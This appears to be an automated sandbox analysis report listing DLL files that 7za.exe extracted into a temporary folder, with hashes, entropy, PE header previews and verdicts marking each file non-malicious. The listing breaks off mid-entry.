Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......\|...8..8..8..1.E.<..j..<..j..+..j..?..j..9.....:.....;..8..d.....;.....9....).9..8.A.9.....9..Rich8..........PE..d...7.s_.........." .....8...@.......=....................................................`.........................................pf.......m..................P....................W..T............................W...............P...............................text....6.......8.................. ..`.rdata..T-...P.......<..............@..@.data...H............j..............@....pdata..P............l..............@..@.rsrc................r..............@..@.reloc...............x..............@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\Surface.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	34304
Entropy (8bit):	5.558328885229395
Encrypted:	false
SSDEEP:	768:T6MYFFpWIkYbvE+Ns9tH/5+tbsAUHxoDPny:TcMJYbs+Ns9tHc4O7y
MD5:	95BCEDC616E550AEC0F880E32C31523A
SHA1:	725A7DED4067DAE312E51ECD8349A56A86B08EE2
SHA-256:	A51A8895BCF18E81814875F165FEB8682C4A0174A51B6055E63B6420960737D9
SHA-512:	73E351EF9B77FFADAD4A4BD9E5C35D5D397FC200547894EE282E31A0F40457BAB8117C491023ABE84E246FD99F37FFABF11C22FED2BE360529BD76AE91E2629C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......<.n.x...x...x...q..\|......\|......k.............y...Z...z.......}...x...........{.......y.......y...x...y.......y...Richx...........................PE..d.....s_.........." .....<...H......pA....................................................`..........................................g..T....u.......................................Z..T............................Z...............P...............................text...N:.......<.................. ..`.rdata...7...P...8...@..............@..@.data...x............x..............@....pdata...............z..............@..@.rsrc................~..............@..@.reloc..............................@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\TextFilter.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	33792
Entropy (8bit):	5.603295378807862
Encrypted:	false
SSDEEP:	768:Wc+Ft8Z7/b5AF6Kr6HY5bMip0UVEBKeFZBKRcefCzgyHASeRRuH:r+r8zb5AwKr6HY5bMip0UVEBKeFZBKRm
MD5:	70311E6207D7C36A6F1927D1C32D846D
SHA1:	3E8F0CBED9DF0AEF98E07F7C13478BC1365C64A2
SHA-256:	6425663743C675ACBE8B30E019BB32A160F97A9F841001DA14451D55FFC16E42
SHA-512:	5B7C0E130323A59E4D862F58E3E8EF01EFCF266EB8CA3D038C376FC04009114E756C43278CFAC5452B5B4FE5F40BC35C3CB67F896D12A2662054299FC9A8418E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......W'':.FIi.FIi.FIi.>.i.FIiA.Hh.FIiA.Lh.FIiA.Mh.FIiA.Jh.FIi1&Hh.FIi./Hh.FIi.FHitFIi./Lh.FIi./Ih.FIi./.i.FIi.F.i.FIi./Kh.FIiRich.FIi................PE..d...e.s_.........." .....@...B......\|F....................................................`.........................................@h.......m..................$....................W..T...........................PX...............P..0............................text...~?.......@.................. ..`.rdata...0...P...2...D..............@..@.data...h............v..............@....pdata..$............x..............@..@.rsrc................\|..............@..@.reloc..............................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\Win32_Font.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	29696
Entropy (8bit):	5.503498109127301
Encrypted:	false
SSDEEP:	384:XGGtM1F13pSBxH+8Ggot8HXoRKsYLy6ssdLLb0ZtnLwkIy1HHYTM3edFuN01lfo:XDQK7JLBF19sZIy1HOgedINA2
MD5:	E782BBD99A2FC72793AA0EB0AE73876E
SHA1:	B85D11276E7BFF2A00EAD9A9CF06E4D395E3751D
SHA-256:	7E8CE1A5DEC3A389E63F9C522676794BB48401FE5CCA76EC2264926251046222
SHA-512:	651196BC21FBA072B40F49E2F0C5D1F73F161AEFD3ADBB8F61957F5D85B02A0E1FBED9AD2FA6FE3CBFF3438A312C678123C02ACAF013901FE293713388375524
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..............[...[...[.\[...[...Z...[...Z...[...Z...[...Z...[..Z...[x..Z...[...[...[x..Z...[x..Z...[x.0[...[..X[...[x..Z...[Rich...[........PE..d...h.s_.........." .....2...@.......7....................................................`..........................................h.......l.......................................Y..T............................Z...............P..x............................text...~0.......2.................. ..`.rdata..r/...P...0...6..............@..@.data...8............f..............@....pdata...............h..............@..@.rsrc................l..............@..@.reloc...............r..............@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\XMLDOMCommand.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	37888
Entropy (8bit):	5.529896258227009
Encrypted:	false
SSDEEP:	384:ijJznnaD2J2oXPSirdi0xkU7074kL02q84bJj1CfDKhdFs2KJ0wAMSfo:idaa/lrd7TpLLHCfuhdGJJPAMV
MD5:	FE31FB2D6A856AE73E4C578B15968764
SHA1:	50E8C726FDD8125A23D5908551BCD5BC6B893E1B
SHA-256:	008E9B57CB29753687596F66907420FA060B65AF9002C6178FB9000B57F7D2CD
SHA-512:	4B91FB05E6270E8A847B7526DE2283D587ED544DEA5A50E301836078674F55CAC029273D54DDF314865CB8C41914F1ABFD96222974902F78065552F5179C268D
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....................P..................................:.............:......:......:.<.....T....:......Rich....................PE..d...j.s_.........." .....H...N.......H....................................................`..........................................................................................n..T............................o...............`..0............................text....G.......H.................. ..`.rdata...8...`...:...L..............@..@.data...............................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\d3dcompiler_47.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3696072
Entropy (8bit):	6.574865903829714
Encrypted:	false
SSDEEP:	49152:nqr33AJsOB8SLXId6mEjWEmNZMKRMbDhQc6555Rqp28ITdGS90tQhveWja37PLE3:nyUa6PcMbWD86dGZR
MD5:	6BC4ADA9A7CAB72F49C564E6C86B4C3E
SHA1:	F0FBA01542A0FBE585106F7EFD884DF65E8C89DC
SHA-256:	7D0D1290382EA0E44A3178446A0C202696237E27DBB5F8F0827691092B8F2228
SHA-512:	D7EC39514C104B40A42CD3CA956BA84F5A78F237A39F40D85BA54983145BCE2DFBC7EC5E0CBC1BF8AB64D1D370371A7CBA5E30202D2C1F37782DB32486ED7F6E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........a..V...V...V...[..o...[..W....h..T..._xi.Y...V........h..X....h..J....h..X....h..W....h.......h..U....h..W....h..W...RichV...........PE..L....=.f...........!......5...........*.......6...............................9.......8...@A..........................5.u...X.6.......7.@............D8..!... 7.p......T...................l..........@.............6.T............................text...%.5.......5................. ..`.data.........6..d....5.............@....idata........6......N6.............@..@.rsrc...@.....7......d6.............@..@.reloc..p.... 7......j6.............@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\libGLESv2.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6815232
Entropy (8bit):	6.585131476726344
Encrypted:	false
SSDEEP:	98304:svCLSaeGBz4bhRCxWq+xFidpWuIwhU3Vs/G0AbWPOPl+YI8+DIj:LeGBz4SxWVxqpWpwhUlGG0AyOF+Uj
MD5:	416916F39B32EAC6FFF9A89CF8D88507
SHA1:	99FC405EBE8BF11C0BE99E456B3A28ABCED23ECF
SHA-256:	AE1AA860928AF12EFF059AA03545047DB95F3E1D9EAA35814F176D6813CFE564
SHA-512:	48A52CAC407E9F3EEA64476BBC51BDCC29EC443A92256982A9D96347EE109FC54FAAE45316208FF5A815F287B72F822A8320F3DD8274D5BF21B1AF0181D176C6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...;.\|^.........."!......D..R#.....f.B...................................... ............@..........................._......a.d....P..p....................`........_......................._.....@.^...............a.8...,._.@....................text.....D.......D................. ..`.rdata..<.....D.......D.............@..@.data....;3...a..n....a.............@....00cfg....... .......6d.............@..@.tls.........0.......8d.............@....voltbl.$....@.......:d..................rsrc...p....P.......<d.............@..@.reloc.......`.......Bd.............@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\config\img\CopyImage.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	43520
Entropy (8bit):	5.750942246728526
Encrypted:	false
SSDEEP:	768:fSLFjozWctd2cu+82Mmo8wRl+jCilQRpz9:e1ctdfu+8dmoR+jCil+l9
MD5:	3EC43B84EAAE400B9DDA1FA69200B50D
SHA1:	8A73B0BFF797BBE8A91D9ED4542D4F045935F455
SHA-256:	2DC4BD956D3C3FB6F052360C43DD301E0B2B4786242CFA5DD730B6D512427CC1
SHA-512:	A73D6C1B0DBB1C465D2B83B0E0379FF081B685A42D4C20E8BEEB0D97C96B9B27BFEA916F1AC928257E04C5EF41FBCC75F8DF8ADD4AADF470A3AEF84933E64843
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......t...0..0..0..9.-.6..b...4..b...#..b...7..b...1......2......;..0.........3......1....A.1..0.).1......1..Rich0..................PE..d.....s_.........." .....6...r......4;....................................................`..........................................z.......\|.......................................h..T...........................0i...............P...............................text...N4.......6.................. ..`.rdata...`...P...b...:..............@..@.data...............................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\config\img\DL100AGM.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5714248
Entropy (8bit):	6.788288927588834
Encrypted:	false
SSDEEP:	98304:XETWMdQ1hV9M5wnx+49cRtvw7gVSOFld6QHJXJTHSewUgvhiWaOuBu3Cb+tbMTy2:XVVK58x+NRtomSuldtHJhyyb+tbM1
MD5:	21CB25B78EE9D4E2D651C600BA2BE2A3
SHA1:	E3BC20EE47633D06427015C07906DE925DB0B5DD
SHA-256:	75330E04960E72EEE106671CEEC9BD768E91DE1944CAFD402AAF7422C4BD7B39
SHA-512:	8CAB7A1FBA7FE8E6FF286B763504E18A9B465FACFE4D0F3A1FDFC06129885BE1535225FF99FEBFCD37C638291662D7BEB1E40F5C27391CE8ECE5317131AEBCCF
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.A2../a../a../a..a../a..a6./a)zTa../a...a../a..a../a..a&./a..a../a..a../a..a../aRich../a................PE..L...9..R.........."!......:..T......(.4.......:....(..........................Z.....L.W...@.........................p.O.\|.....O.x.... U...............W.H....0U..,..@.:.......................G.......G.@.............:.......O......................text....:.......:................. ..`.rdata........:.......:.............@..@.data....k....O.......O.............@....tls..........U......DR.............@....rsrc........ U......FR.............@..@.reloc..l....0U......NR.............@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\config\img\DL100PDFL.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6732104
Entropy (8bit):	6.774431303294623
Encrypted:	false
SSDEEP:	196608:8xD1n+MwOPY6cikEpFjAOlYFOaEsZNros0aUh:8LgOPY6cikEz7TINr1G
MD5:	714CDAC1D60200AF009AB20403A18D34
SHA1:	BEF10479C60E9244C0205F31806F0E622532569C
SHA-256:	C9C4BA9D27734D3FF60D18ECCF883EE54AE3CD2ECE4F7048C56C9C1FF707B931
SHA-512:	CF503253E0A0A6DB7D9F73A2B2309D3A274154F5B665EE5642E350BFEDCD6193E2875D23CEEA621DC8918DB9494FDD20E94ABF160E6EDBE12444673C0F54B72C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........4.#.U.p.U.p.U.p<.tp.U.p..wp.U.p...p.U.p...p.U.p...p.U.p..qp.U.p.U.pIT.p..fp.W.p..apdU.p..pp.U.p..vp.U.p..sp.U.pRich.U.p................PE..L......R.........."!......A...$.....:.........A....!.........................@g.....Q.g...@...........................U.......U.T.... ^...............f.H.....a.0Q....A.............................X.J.@.............A.......U.@....................text.....A.......A................. ..`.rdata..r.....A.......A.............@..@.data...8w....V.......V.............@....rsrc........ ^.......].............@..@.reloc..\P....a..R...Na.............@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\config\img\DX8_DirectInput.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	43008
Entropy (8bit):	5.210468478228683
Encrypted:	false
SSDEEP:	768:tvmmXbYjsGU+YOH3qfakgZq+MmajKUk/ymmw85LBX5Ax1msgM9:bYoMxH3q5gZq+MmajKUk/ymmwSooM9
MD5:	1094025888EEBA683FE8BE2406BA35B7
SHA1:	9A4C8F5BA8DB47B08902596A1E57FA38499E0BA0
SHA-256:	F8CAAD263F0CB985E882461E4D2FDA31AF21900D1366A3BC84161906E6E1C4E2
SHA-512:	EC2947A48ABB6BC36EFA2AA8BCED287BBA56A5CEA8FE848817BB87861528B889888A01EB18A47B4EC9FBD7C3EF341E92255A264297DB6360B48860272F1FA3CC
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$..........3...`...`...`..I`...`...a...`...a...`...a...`...a...`o..a...`..a...`..a...`...`...`..a...`o..a...`o..a...`o.%`...`..M`...`o..a...`Rich...`........................PE..d...6.s_.........." .....>...h......TD....................................................`..........................................r......\|y..................x....................a..T........................... b...............P...............................text....=.......>.................. ..`.rdata...9...P...:...B..............@..@.data...p............\|..............@....pdata..x...........................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\config\img\DX8_ImportObject.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	42496
Entropy (8bit):	5.78491146496519
Encrypted:	false
SSDEEP:	768:JCluSBbTdHR6bWVp2DNf9gFN/bUER+guYuYV858UNdHY:ZcdHR6bipiNmFN/bUER/8YVK5Y
MD5:	EBE73E3869EF5A7121BB75805D08CBBA
SHA1:	5BB3208D3D2811D7DDDFF7AE4FD9BEB71F8A8472
SHA-256:	31299BAEDEC57D2190B876683F56B49820F62BC61C34414658DDF28734D6F97E
SHA-512:	116A0E02F09113D9656A16601D939FB90F5AB03B54758F5EC7CF4F96AA0FFA3730A5BA0CE67E3E4E8C38B49726176A3B4DF23FC0AAB439E88CD161CD9B2247D0
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...................................................................`.....*...............`.....`.....`.i.............`.....Rich............PE..d.....s_.........." .....N...V.......S....................................................`..........................................................................................l..T............................l...............`...............................text...nM.......N.................. ..`.rdata..jC...`...D...R..............@..@.data...............................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\config\img\DX8_MatrixInterpolateSet.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	45568
Entropy (8bit):	5.858231359538286
Encrypted:	false
SSDEEP:	768:wDqUCO+QSIRYqvceJqiq7z/rO5rHo4NZUkQ/EftxED0WP1:iqZQS1qvjJeLrz4ZUHqPg5P1
MD5:	5B464DBB845244F197C17915C4F2E8EA
SHA1:	98D64023BCB7F5033F8E7ED4130721EEB3289841
SHA-256:	6CF066F862E88F8018A08061CA9559EB942E6143914A7F0FFF750DF2C12896CC
SHA-512:	2F173B990A7EC18EBD7E74BE5C530143A44E692A0A04D5C915543054547FA33DA02CF7FB2255F591AAE0F6978CD944FD413DEAD53F01A4AFD0F8A13ADEAA6CA5
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........rA.!A.!A.!H.$!K.!... E.!... U.!... F.!... @.!c.. C.!.Lp!@.!.. E.!..+!B.!A.!4.!.. E.!.. @.!.H!@.!A. !@.!.. @.!RichA.!........PE..d.....s_.........." .....\...T.......`....................................................`.........................................P..........................d....................{..T...........................@\|...............p...............................text....Z.......\.................. ..`.rdata...A...p...B...`..............@..@.data...............................@....pdata..d...........................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\config\img\DX8_SoundFile2.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	5.676630719140105
Encrypted:	false
SSDEEP:	384:L3YIuZKPWWwOXCL7JsusoeUjG7mOUS5JnRAbO9a5y/UKbxHVPM4Yc130rwwzmHVH:jYIwKeWat3jhOUy3PU+WwkqNyT2p
MD5:	1887719113516BDA4EA8F88F50B96234
SHA1:	0133645583F3F5B517E20E672FDD5E506A827C8D
SHA-256:	269DBA44DD14816208848931DFCEB4263E6E8C4C0492607E441C365AB665000E
SHA-512:	BB6F9B47C53BFF70588B81761405F106252A216F3F98C8AA95BE75BCCCBF66CBC1E6CB0D473F0B27D4F572244E6B32AC352BF85BB5F6EDED861775DB5215357B
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........L_.j"..j"..j"......j"...#..j"...'..j"...&..j"...!..j"...$..j".&.#..j"...#..j"..j#.;j"...%..j".&.'..j".&."..j".&....j"..j...j".&. ..j".Rich.j".........PE..d...s.s_.........." .....N...P......(U....................................................`.........................................P.......L....................................... n..T............................n...............`...............................text....M.......N.................. ..`.rdata...<...`...>...R..............@..@.data...p...........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\config\img\DX8_UserInput.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	39424
Entropy (8bit):	5.630575990216515
Encrypted:	false
SSDEEP:	768:m6eTa8ZV5zru0vyXMpykQwS7kCfmlI/TugbeJ/dMZ:iTNeeCxkpLCfmS/T2NqZ
MD5:	093DA71B48331B1786B39F6BA9032439
SHA1:	5017627C9F08F3C8D03986BDC5163A58E296FC46
SHA-256:	8BA07861C4CEB06210CF181C1F523E81F44405772AB1A1DC423BCB40F3A50983
SHA-512:	FF168537AB847A196FAB501F82C3707D245F83C7436FE1CA984F10FA3FFD9B5FD9B743D0B145CC1D4DD79F71F565A960A9249A11035BF216485A9C5BB67F612B
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......$U..`4.`4.`4.iLF.d4.2\.d4.2\.s4.2\.g4.2\.a4.BT.d4..].d4..fI.c4.`4..4..].c4..].a4..]*.a4.`4B.a4..].a4.Rich`4.........................PE..d.....s_.........." .....N...J.......S....................................................`.........................................Pz..,...\|........................................i..T...........................@j...............`...............................text....L.......N.................. ..`.rdata...8...`...:...R..............@..@.data...h...........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\config\img\FModSound.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	45568
Entropy (8bit):	5.793348426727689
Encrypted:	false
SSDEEP:	768:WluAyGXOMYy0kwdRrrN0T3uiSRUSE6l14eEZg:PAyGXOdy0kwdATmRU7w1Sg
MD5:	DCEF8994E6BF5230C62F01C48753DBAF
SHA1:	081698122A23D261AAB1C9BE973EF9A9AA63539E
SHA-256:	80C2236AB7AC3DAB6677EFB63ADA6E25544507933F869BEF0DEA4BC242BA819F
SHA-512:	859EEAA3488AA665D889E306B3B0913CA12306CC53790BA0553587BCF6C16F32D7D5B14493241A6477C02D46F01B8D02FD5ED1F6CCAFF1129228B435D353C47F
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......;.U<..;o..;o..;ov.ow.;o-.:n{.;o-.>nk.;o-.?nx.;o-.8n~.;o].:n}.;od'.o}.;o..:nz.;o..:o..;o..>n\|.;o..;n~.;o...o~.;o...o~.;o..9n~.;oRich..;o................PE..d...O.s_.........." .....D...l......8I....................................................`.................................................p...................\...................p...T...........................................`..X............................text....C.......D.................. ..`.rdata..jY...`...Z...H..............@..@.data...X...........................@....pdata..\...........................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\config\img\FileLoader.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	39424
Entropy (8bit):	5.703620844148914
Encrypted:	false
SSDEEP:	768:rm2CGmWkgA3KNCV5oXYHvaDu/hoSG66GfqYNRhuTHvna6/J8kfr:rmemR0XYHvaq/hoSH6GfqYNRhuTHvRm8
MD5:	F2CD74A1B3582B1B318D46ADFC19CB6B
SHA1:	D1FCC9909CEBFFF96125EBACF4932AC90E448126
SHA-256:	12BD68CA5F1CC46D4861B77DA3BAEB5BA45A7A4E86E891AC372BCF8E182E757B
SHA-512:	D78E989DF7C9007CEEE00D1F3BFF61BF04A48C3D658A0D50F4BA832F35E9F86E5A6C19440955453402DE5F1EA174716214DC900CF76A9BE5AFCA10B9C9686199
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................+......................................._.............._......._......._.G......./....._.......Rich............PE..d...D.s_.........." .....L...L.......Q....................................................`.............................................X...h........................................n..T...........................pn...............`...............................text....K.......L.................. ..`.rdata...:...`...<...P..............@..@.data...x...........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\config\img\Image.Services.Core.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4691608
Entropy (8bit):	6.765525525116327
Encrypted:	false
SSDEEP:	49152:kxvv6zzXjo5ssBNM8kJ64j06ZlhmQkmzxlxixkRCtaCFqdu2qduSuVqpy9uVqpyV:k56zzXjo5ssBNM8kJ60087osjSbyv0
MD5:	8EE3EF186A0D17275AC3AE664236BF34
SHA1:	27A0AF02857C2E3920FE7E46DCCB747B0B4759BD
SHA-256:	717FB849F88DA5D76EDA13A5350BBCC77F14F472DFC5E6CD855A757605A6C651
SHA-512:	FD6D90102E24BD43E07C99105E0B1B050F8AC614EA1D653ACA4D9354EF3B0A8D7C63C6D5C379F6C07D278560EE0FA47FB829F516BF1579FE5FA29F86A9AE6E0E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.........4.eZ..eZ..eZ...'.5dZ..eZ.xgZ..i...eZ.#*..eZ.....eZ.....eZ.....eZ.....eZ...!..eZ..e[.<dZ.....dZ.....eZ..7..eZ.....eZ.Rich.eZ.........................PE..L...Kk.V.........."!....."5..:......!. ......@5....,..........................G.......H...............................B.X.....B.......C.d............`G..6....C.\.....5............................. .?.@............@5.x............................text....!5......"5................. ..`.rdata..8....@5......&5.............@..@.data.........B.......B.............@....rsrc...d.....C......nC.............@..@.reloc........C.......C.............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\config\img\Internet.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	45056
Entropy (8bit):	5.466591180388901
Encrypted:	false
SSDEEP:	768:bKSldNwNu2rofQpdZ+6O1GC8DpEt7c5aMyU6/JQd/os0it26Wy1j7nyyyEMpyYya:bpNjuofQpi6OB8DpEt7c5aMyU6/JQd/C
MD5:	FF69429C947D58C88CAB91854351E0F5
SHA1:	AFA2BA365C6AD716444532642001007483326A96
SHA-256:	33A79BDBAEE97491911CC90F0906DEC084E64627B0D890377112ED3DAFA226CA
SHA-512:	B64C405E905BB11C786164FDBFDBA354D3C79F6DA1CBF5028656688CE0B6A10BE360CAEA2B754F297062AD1114EB1010DFFCED505E7E66C08E503224A6A453C3
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........J.O.$.O.$.O.$.F..I.$...%.K.$...!.[.$... .H.$...'.M.$.m.%.K.$...%.L.$.O.%.$.$...!.L.$...$.N.$.....N.$.O...N.$...&.N.$.RichO.$.........PE..d.....s_.........." .....L...b.......R....................................................`.........................................@............................................... ~..T............................~...............`..P............................text...~K.......L.................. ..`.rdata...P...`...R...P..............@..@.data...X...........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\config\img\ObjectDataCommand.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	40448
Entropy (8bit):	5.524447114499072
Encrypted:	false
SSDEEP:	768:XWOWTtnfVml3fNsMV9ugmAglM+efX9stlxJIaU:XwtfVq3KK9lmAgl4XUj+aU
MD5:	18B712E99BB45D3D535CE800AC1F7294
SHA1:	BB03E7BE212B3A9BBD6F0303C43628D7F5AF77A5
SHA-256:	7147DDCBCC2F4B059B21CC9ADFC9670A7374EB4A230FDF09D1D0FFC4BFA954AC
SHA-512:	44A4D7B2997D076713F47411093E8577C9F88B4EA2494B1694A3EF05B33CD6CF69D7A571103EF5B38A6CBB47D522B34466C05634373E898F59D2EDE256739E48
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......../..N...N...N...6...N...&...N...&...N...&...N...&...N.......N..`'...N...N...N..`'...N..`'...N..`'...N...N...N..`'...N..Rich.N..........................PE..d...#.s_.........." .....N...N.......R....................................................`.........................................P...h............................................m..T............................n...............`...............................text....M.......N.................. ..`.rdata..2;...`...<...R..............@..@.data...h...........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\config\img\SAXParser.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	39424
Entropy (8bit):	5.601024353373893
Encrypted:	false
SSDEEP:	384:F3bhoX7/rGXONHMbC+KIs6iW+xUVVjdb5PtPZyGHwyj6bGsDbxHK+xzkdtORuIWF:ArieN0C+kxUJ5JIZB34J19woY3sL
MD5:	D39AAF3DFDB356EC1B0D693971FEB8EA
SHA1:	09CA52010706B9555BD8C58EBE861A96376D9B91
